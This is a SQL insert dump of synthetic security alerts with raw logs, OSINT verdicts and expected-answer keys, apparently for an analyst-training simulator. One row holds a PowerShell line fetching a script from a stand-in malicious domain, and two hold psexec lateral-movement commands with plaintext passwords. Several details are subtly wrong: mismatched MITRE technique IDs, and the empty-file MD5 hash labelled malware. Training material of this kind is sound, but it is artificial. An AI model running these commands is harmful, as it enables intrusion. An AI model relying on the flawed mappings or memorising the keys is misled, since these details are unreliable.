(1883, 'Routine Vulnerability Scanning Detected', 'low', 'Zeek', 'A network scan was detected originating from an internal IT asset. This was identified as part of a scheduled vulnerability assessment.', 'Lateral Movement', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:15:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.5\",\"dst_ip\":\"192.168.1.25\",\"username\":\"admin_scanner\",\"hostname\":\"scanner01\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network Monitoring\",\"verdict\":\"internal\",\"details\":\"Source IP is an internal asset performing authorized scans.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"admin_scanner\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"internal\",\"details\":\"Username belongs to authorized IT personnel.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"This activity is part of routine vulnerability scans and is not malicious.\"}', 'Beginner', 'NDR', 3, 1, 'TECH', NULL, NULL, NULL, 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1884, 'Potential Phishing Email Detected', 'medium', 'Darktrace', 'An email was received containing a suspicious URL. Further investigation revealed it was a test email from an internal security team.', 'Phishing', 'T1566', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:30:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"\",\"username\":\"jane.doe@company.com\",\"hostname\":\"mailserver1\",\"email_sender\":\"security@test.company.com\",\"domain\":\"company.com\",\"url\":\"http://test-phishing.com\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"security@test.company.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Email Systems\",\"verdict\":\"clean\",\"details\":\"Email from internal security team for training purposes.\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://test-phishing.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"URL used for phishing awareness training.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email was part of an internal phishing simulation test.\"}', 'Beginner', 'NDR', 3, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1885, 'Unauthorized Application Execution Alert', 'high', 'Corelight', 'Execution of an unauthorized application was detected on an internal server. This was part of a software update process initiated by IT.', 'Malware', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T13:45:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.15\",\"dst_ip\":\"\",\"username\":\"it_admin\",\"hostname\":\"server02\",\"command_line\":\"/usr/bin/update-software\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network Logs\",\"verdict\":\"internal\",\"details\":\"Internal server IP performing authorized tasks.\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"/usr/bin/update-software\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Software Repository\",\"verdict\":\"clean\",\"details\":\"Command is part of a standard software update process.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The process execution is part of a legitimate software update.\"}', 'Beginner', 'NDR', 3, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1886, 'Suspected Data Exfiltration Attempt', 'high', 'Suricata', 'A high volume of outbound traffic was detected from a user workstation. This was later identified as a routine data backup operation.', 'Data Exfil', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T16:00:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.20\",\"dst_ip\":\"203.0.113.50\",\"username\":\"backup_user\",\"hostname\":\"workstation07\",\"request_body\":\"\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal workstation performing authorized backup.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"Destination IP is a trusted backup service provider.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The traffic is part of a scheduled data backup to an external provider.\"}', 'Beginner', 'NDR', 3, 1, 'RETAIL', NULL, NULL, NULL, 0),
(1887, 'C2 Beaconing Activity Detected', 'critical', 'Wireshark', 'Suspicious outbound connections were detected indicative of command and control activity. Analysis confirmed malicious intent.', 'C2 Beaconing', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:30:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.30\",\"dst_ip\":\"195.23.45.78\",\"username\":\"unknown\",\"hostname\":\"compromised-host\",\"request_body\":\"\",\"command_line\":\"\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.30\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"195.23.45.78\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for command and control activity.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash associated with known malware.\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The detected activity is consistent with command and control operations by known threat actors.\"}', 'Beginner', 'NDR', 3, 1, 'GOVERNMENT', NULL, NULL, NULL, 0),
(1888, 'Unauthorized PSExec Usage Detected on Internal Network', 'medium', 'Zeek', 'An internal IP was observed attempting lateral movement using PSExec. No known malicious activity reported on the internal IP.', 'Lateral Movement', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T14:20:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.1.1.10\",\"dst_ip\":\"10.1.1.20\",\"username\":\"admin_user\",\"hostname\":\"server01\",\"command_line\":\"psexec \\\\\\\\10.1.1.20 -u admin_user -p password cmd.exe\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.1.1.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP address, no external reports\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"psexec \\\\\\\\10.1.1.20 -u admin_user -p password cmd.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"clean\",\"details\":\"Routine administrative command execution\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The activity was conducted by an authorized IT admin performing maintenance.\"}', 'Beginner', 'NDR', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(1889, 'External Network Scan Detected', 'low', 'Suricata', 'Multiple network connections from an external IP were flagged as suspicious but identified as part of a routine vulnerability scan by a trusted third-party vendor.', 'Scan', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T16:35:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"198.51.100.2\",\"dst_ip\":\"192.168.1.100\",\"username\":\"N/A\",\"hostname\":\"N/A\",\"request_body\":\"N/A\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.2\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"IP belongs to a trusted security vendor conducting authorized scans\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"scan\",\"analysis_notes\":\"The IP is part of a scheduled vulnerability assessment by a known vendor.\"}', 'Beginner', 'NDR', 3, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1890, 'Suspicious Email with Benign Content', 'low', 'Proofpoint', 'An email was flagged for suspicious content but was confirmed as a marketing email from a legitimate source.', 'Phishing', 'T1566', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T18:00:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.30\",\"dst_ip\":\"192.168.2.5\",\"username\":\"jane.doe\",\"hostname\":\"workstation01\",\"email_sender\":\"marketing@trustedsource.com\",\"request_body\":\"Check out our new products at https://trustedsource.com\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"marketing@trustedsource.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Email address verified as legitimate marketing contact\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"https://trustedsource.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"Website is verified and safe with SSL certificate\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"This email was a legitimate marketing communication.\"}', 'Beginner', 'NDR', 3, 1, 'RETAIL', NULL, NULL, NULL, 0),
(1891, 'Routine System Health Check Misinterpreted as C2 Beaconing', 'medium', 'Darktrace', 'Regular system health checks were mistaken for C2 beaconing due to their predictable pattern and external connections.', 'C2 Beaconing', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T20:45:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.3.10\",\"dst_ip\":\"203.0.113.50\",\"username\":\"system_check\",\"hostname\":\"monitoring_server\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"IP associated with monitoring services, no malicious reports\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.3.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP used for system health monitoring\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"c2_beaconing\",\"analysis_notes\":\"The network traffic was part of routine health checks performed by internal monitoring systems.\"}', 'Beginner', 'NDR', 3, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1892, 'Suspicious PowerShell Execution Detected', 'high', 'Wireshark', 'A suspicious PowerShell command was executed from an internal machine, indicating potential misuse.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T22:30:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.4.15\",\"dst_ip\":\"N/A\",\"username\":\"user123\",\"hostname\":\"comp02\",\"command_line\":\"powershell.exe -NoProfile -Command \\\"Invoke-WebRequest -Uri http://maliciousdomain.com/script.ps1 -OutFile C:\\\\temp\\\\script.ps1\\\"\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"powershell.exe -NoProfile -Command \\\"Invoke-WebRequest -Uri http://maliciousdomain.com/script.ps1 -OutFile C:\\\\temp\\\\script.ps1\\\"\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command associated with known malware distribution\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://maliciousdomain.com/script.ps1\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL linked to malware hosting\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The PowerShell command and URL are both associated with malware activity, indicating a true positive.\"}', 'Beginner', 'NDR', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(1893, 'Suspicious C2 Beaconing Detected', 'high', 'Zeek', 'A potential C2 beaconing pattern was detected from an external IP to an internal host. This could indicate a compromised machine communicating with a malicious server.', 'Data Exfil', 'T1041', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T12:34:56Z\",\"event_type\":\"network_connection\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.101\",\"username\":\"jdoe\",\"hostname\":\"workstation-01\",\"command_line\":\"\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for C2 activity\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.101\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The external IP is known for C2 activity, indicating a likely compromise.\"}', 'Beginner', 'NDR', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(1894, 'Routine IT Vulnerability Scanning Detected', 'low', 'Suricata', 'Network traffic patterns characteristic of vulnerability scanning were detected from an internal scanning server. This aligns with the scheduled IT security audits.', 'Lateral Movement', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:45:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.0.5\",\"dst_ip\":\"192.168.1.10\",\"username\":\"admin\",\"hostname\":\"scan-server\",\"command_line\":\"\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP used for scheduled scanning\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal target IP for vulnerability scanning\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"This activity is consistent with routine internal scans.\"}', 'Beginner', 'NDR', 3, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1895, 'Misconfigured Legacy Application Traffic', 'medium', 'Corelight', 'Anomalous traffic resembling C2 communication was generated by a legacy application due to misconfiguration. No malicious indicators found.', 'Data Exfil', 'T1041', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:20:30Z\",\"event_type\":\"network_connection\",\"src_ip\":\"172.16.0.100\",\"dst_ip\":\"198.51.100.25\",\"username\":\"legacy_app_user\",\"hostname\":\"legacy-server\",\"command_line\":\"\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"172.16.0.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP associated with legacy application\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"clean\",\"details\":\"External IP with no malicious reports\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The traffic pattern is due to a known issue with the application configuration.\"}', 'Beginner', 'NDR', 3, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1896, 'Authorized Administrative Backup Detected', 'low', 'Darktrace', 'Large volumes of data transfer were detected from a file server to an external backup service. The activity matches the scheduled backup processes.', 'Data Exfil', 'T1041', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T02:15:45Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.2.50\",\"dst_ip\":\"203.0.113.200\",\"username\":\"backup_admin\",\"hostname\":\"fileserver-02\",\"command_line\":\"\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP used for backup\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.200\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"External backup service IP\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"Data transfer aligns with known backup schedules, indicating no threat.\"}', 'Beginner', 'NDR', 3, 1, 'RETAIL', NULL, NULL, NULL, 0),
(1897, 'Benign System Health Check Traffic', 'low', 'Wireshark', 'Detected network traffic from an internal monitoring tool performing standard system health checks. No malicious indicators were found.', 'Lateral Movement', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T05:50:20Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.1.1.100\",\"dst_ip\":\"192.168.1.200\",\"username\":\"\",\"hostname\":\"monitoring-tool\",\"command_line\":\"\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.1.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP used for monitoring\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.200\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal target IP for health checks\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The detected traffic is consistent with scheduled health checks by IT.\"}', 'Beginner', 'NDR', 3, 1, 'ENERGY', NULL, NULL, NULL, 0),
(1898, 'Unauthorized Lateral Movement Detected via PSExec', 'high', 'Darktrace', 'An internal host attempted unauthorized lateral movement using PSExec. The activity was detected between two internal systems.', 'Lateral Movement', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:45:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.45\",\"dst_ip\":\"10.0.0.60\",\"username\":\"jdoe\",\"hostname\":\"FINANCE-SERVER01\",\"command_line\":\"psexec \\\\\\\\10.0.0.60 -u admin -p password cmd.exe\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP address of a finance department workstation\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.60\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP address of a finance department server\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"psexec \\\\\\\\10.0.0.60 -u admin -p password cmd.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"PSExec command often used for lateral movement\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The use of PSExec with administrator credentials indicates a potential unauthorized access attempt for lateral movement.\"}', 'Beginner', 'NDR', 3, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1899, 'Routine IT Vulnerability Scanning Detected', 'low', 'Zeek', 'Network traffic pattern resembling vulnerability scanning was detected. This matches the known schedule for routine IT scans.', 'Lateral Movement', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T02:15:30Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.100\",\"dst_ip\":\"192.168.1.101\",\"username\":\"scanner\",\"hostname\":\"IT-Server\",\"command_line\":\"nmap -sS 192.168.1.101\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"IP belongs to IT department\'s scanning server\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.101\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"IP belongs to a network device routinely scanned for vulnerabilities\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"nmap -sS 192.168.1.101\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Nmap scan detected, part of scheduled vulnerability assessment\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"This activity matches the schedule for routine IT vulnerability scans and poses no threat.\"}', 'Beginner', 'NDR', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(1900, 'Authorized Administrative Backup Traffic', 'low', 'Corelight', 'Data transfer detected between servers, matching the pattern of scheduled administrative backups.', 'Data Exfil', 'T1566', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T03:30:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.50\",\"dst_ip\":\"192.168.1.51\",\"username\":\"backup_user\",\"hostname\":\"BACKUP-SERVER\",\"command_line\":\"rsync -av /data 192.168.1.51:/backup\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"IP is associated with the primary backup server\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.51\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"IP is associated with the target backup storage server\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"rsync -av /data 192.168.1.51:/backup\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Rsync command matches scheduled backup operations\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The detected data transfer is consistent with scheduled administrative backups and requires no further action.\"}', 'Beginner', 'NDR', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(1901, 'Misconfigured Legacy App Generating Excess Traffic', 'medium', 'Suricata', 'A legacy application is generating excessive network traffic, resembling potential data exfiltration.', 'Data Exfil', 'T1566', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:00:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.2.100\",\"dst_ip\":\"203.0.113.10\",\"username\":\"legacy_user\",\"hostname\":\"LEGACY-APP-SERVER\",\"command_line\":\"legacy_app --export-data --target 203.0.113.10\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"IP address of the legacy application server\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"External IP associated with a trusted partner\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"legacy_app --export-data --target 203.0.113.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Command matches routine data export operations\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The alert was generated due to a misconfigured legacy application, but the external IP is trusted, and routine operations were confirmed.\"}', 'Beginner', 'NDR', 3, 1, 'RETAIL', NULL, NULL, NULL, 0),
(1902, 'System Health Check Triggering Suspicious Activity Alerts', 'low', 'Wireshark', 'Network traffic resembling a potential attack was detected, originating from a routine system health check script.', 'Lateral Movement', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T04:20:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.3.10\",\"dst_ip\":\"192.168.3.20\",\"username\":\"sysadmin\",\"hostname\":\"HEALTH-CHECK01\",\"command_line\":\"ping -c 4 192.168.3.20\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.3.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"IP belongs to a system performing routine health checks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.3.20\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"IP is a target device of routine health checks\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"ping -c 4 192.168.3.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Ping command is part of routine system health checks\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The detected network activity is consistent with routine system health checks and poses no threat.\"}', 'Beginner', 'NDR', 3, 1, 'ENERGY', NULL, NULL, NULL, 0),
(1903, 'Unauthorized Remote Access Attempt Detected', 'medium', 'Zeek', 'Anomalous remote login attempt detected from an external IP address, potentially indicating a brute force attack. Multiple failed login attempts reported.', 'Brute Force', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:45:12Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"10.0.0.15\",\"username\":\"admin\",\"hostname\":\"server01\",\"failed_attempts\":12}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP reported 15 times for suspicious activity but no confirmed attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Common username for administrative accounts.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"Login attempts were from a known IP range used by a legitimate external monitoring service.\"}', 'Beginner', 'NDR', 3, 1, 'FINANCE', NULL, NULL, NULL, 0),
